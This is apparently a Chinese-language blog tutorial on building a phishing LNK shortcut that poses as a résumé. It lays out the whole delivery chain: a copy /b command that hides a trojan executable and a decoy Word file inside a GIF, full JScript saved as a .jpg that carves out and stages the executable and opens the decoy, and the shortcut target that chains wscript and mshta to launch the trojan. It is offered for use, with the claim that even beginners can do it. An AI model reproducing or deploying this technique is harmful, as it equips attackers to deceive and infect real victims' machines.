最新木马技巧 新型的lnk木马钓鱼 lnk快捷方式加载木马思路

网络技术

来自海洋顶端思路


lnk 文件是用于指向其他文件的一种快捷方式,方便使用者快速的调用。用快捷方式的木马来钓鱼的优势是,可以写入免杀的shell代码,双击即可执行,而且还可以修改图标后,能更好地诱骗客户执行!


我在freebuf和市面上看到基本所有制做的恶意lnk文件,普遍是用到了powershell来下载执行shellcode,这种方式不是不可以,但是缺点一是存在了下载执行,有可能绕不过waf;二是对shellcode和powershell的免杀也存在了一定的困难。所以我们来重新改造一个轮子,思路就是让木马在本地执行,让木马和lnk文件放在一起。


先来看一下成果图:

新型的lnk木马钓鱼

这里只要双击一下(图1)中我的简历,就会打开一份正常的word文档,同时我们的木马就会执行了。图1中的pic.gif打开也是一张正常的图片,jl.jpg存放了我们的代码。我是用的计算器做的测试,效果如下图2:

写一个新型的lnk木马来钓鱼

这个恶意的lnk文件制做方法如下:


一、把一张图片、你的木马.exe、简历.doc合并成图1中的pic.gif


copy /b 1.gif +muma.exe +简历.doc pic.gif


写一个新型的lnk木马来钓鱼

(图3)


二、来编写我们的代码,这个代码存在于(图1)中的jl.jpg。


代码我是用js来写的,这样不会因为用powershell语言来写漏掉一些windows xp和win7老用户。代码和详细注释如下:



var stmp;
var fso = new ActiveXObject("Scripting.FileSystemObject");
var app=new ActiveXObject("Shell.Application");
var fpexe=app.Namespace(0x5).Self.Path+"\\s.exe";//存放你的木马,我是存在了当前用户的文档下,名字为s.exe,可以改名。
var fpdoc=app.Namespace(0x5).Self.Path+"\\snew_.doc";//存放你的简历,名字为snew_.doc,可以改名
var fpjs=app.Namespace(0x5).Self.Path+"\\snews_.jpg";//以前老版本残留,不需要了。
var picgif=fso.GetFolder(".").Path+"\\pic.gif";//调用我们图1中用dos命令合并的pic.gif

function Findfile(filespec) //判断文 件是否存在函数
{
 
 
  if (fso.FileExists(filespec))
     stmp = 1;
  else
     stmp = 0;
  return(stmp);
}



if (!Findfile(picgif))
{
WScript.echo("无法加载图片");
}


if (!Findfile(fpexe)) {


writeBytes(picgif, 0X1339, 28672, fpexe); //在pic.gif文件中找到exe文件起始位置 0X1339和exe字节数本身大小,写入我的文档目录。

}


if (!Findfile(fpdoc))
{
writeBytes(picgif,0x8339,25600,fpdoc);//在pic.gif文件中找到doc文件起始位置 0x8339和doc字节数本身大小,写入我的文档目录。
}


if (!Findfile(fpjs)) //老版本残留,不需要了
{
//writeBytes(picgif,0xE739,667,fpjs);
}


if (Findfile(fpexe)) //注意在这里我并没有执行exe,执行代码让我注释掉了。我会在文章中解释
{

   

      //var shellapp=new ActiveXObject("Shell.Application");
//shellapp.open(fpexe);
//var WshShell = new ActiveXObject("WScript.Shell");
        //WshShell.Run("powershell "+fpexe, 0, true);

}


if (Findfile(fpdoc)) //执行doc
{
var shellapp=new ActiveXObject("Shell.Application");
shellapp.open(fpdoc);

}

if (Findfile(fpjs))
{
//var WshShell = new ActiveXObject("WScript.Shell");
       // WshShell.Run("wscript //E:JScript "+fpjs, 0, true);


}

function writeBytes(sSrcFile, iPosStart, iLen, sTargetFile)
{
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1;
stream.Open();
stream.LoadFromFile(sSrcFile);
stream.Position = iPosStart;
var bytes = stream.Read(iLen);
stream.Close();
stream.Open();
stream.Write(bytes);
stream.SaveToFile(sTargetFile, 2);
stream.Close();
}


//var del=fso.DeleteFile(WScript.ScriptFullName)


请仔细阅读上文中的注释。可能有人会疑惑上边代码中第31行的0x1339是如何来的呢?其实exe文件的文件头是4D5A,我们只要用一个16进制编辑器打开你合并的pic.gif就明白了,如下图:


写一个新型的lnk木马来钓鱼

(图4)

三、制做我们的简历的lnk文件,把图1中三个文件合并在一起调用


看一下成果图1中的我的简历.doc的右键属性:


写一个新型的lnk木马来钓鱼

(图5)

图5中起始位改为%cd%,这样会在当前目录调用jl.jpg里的代码。


图5中的目标里的代码内容是:

%comspec% /c "wscript /E:JScript jl.jpg&&mshta "about:<script language=vbs>s=CreateObject("Shell.Application").Namespace(&H5).Self.Path+"\s.exe":createobject("wscript.shell").run(s):window.close </script>""


来解释一下:wscript /E:JScript jl.jpg把jl.jpg当成js来执行。后边一串是用mshta执行一段本地vbs,找到文档中的s.exe去执行,就是你的木马文件。


当然了,如果你仔细看了我的代码的话,你也可以在js中直接执行木马。那么lnk文件的目标改为%comspec% /c "wscript /E:JScript jl.jpg“就可以了。


思路和代码都给出了!就算小白也可以操作!能用的地方很多很多!自己研究下!


« 上一篇下一篇 »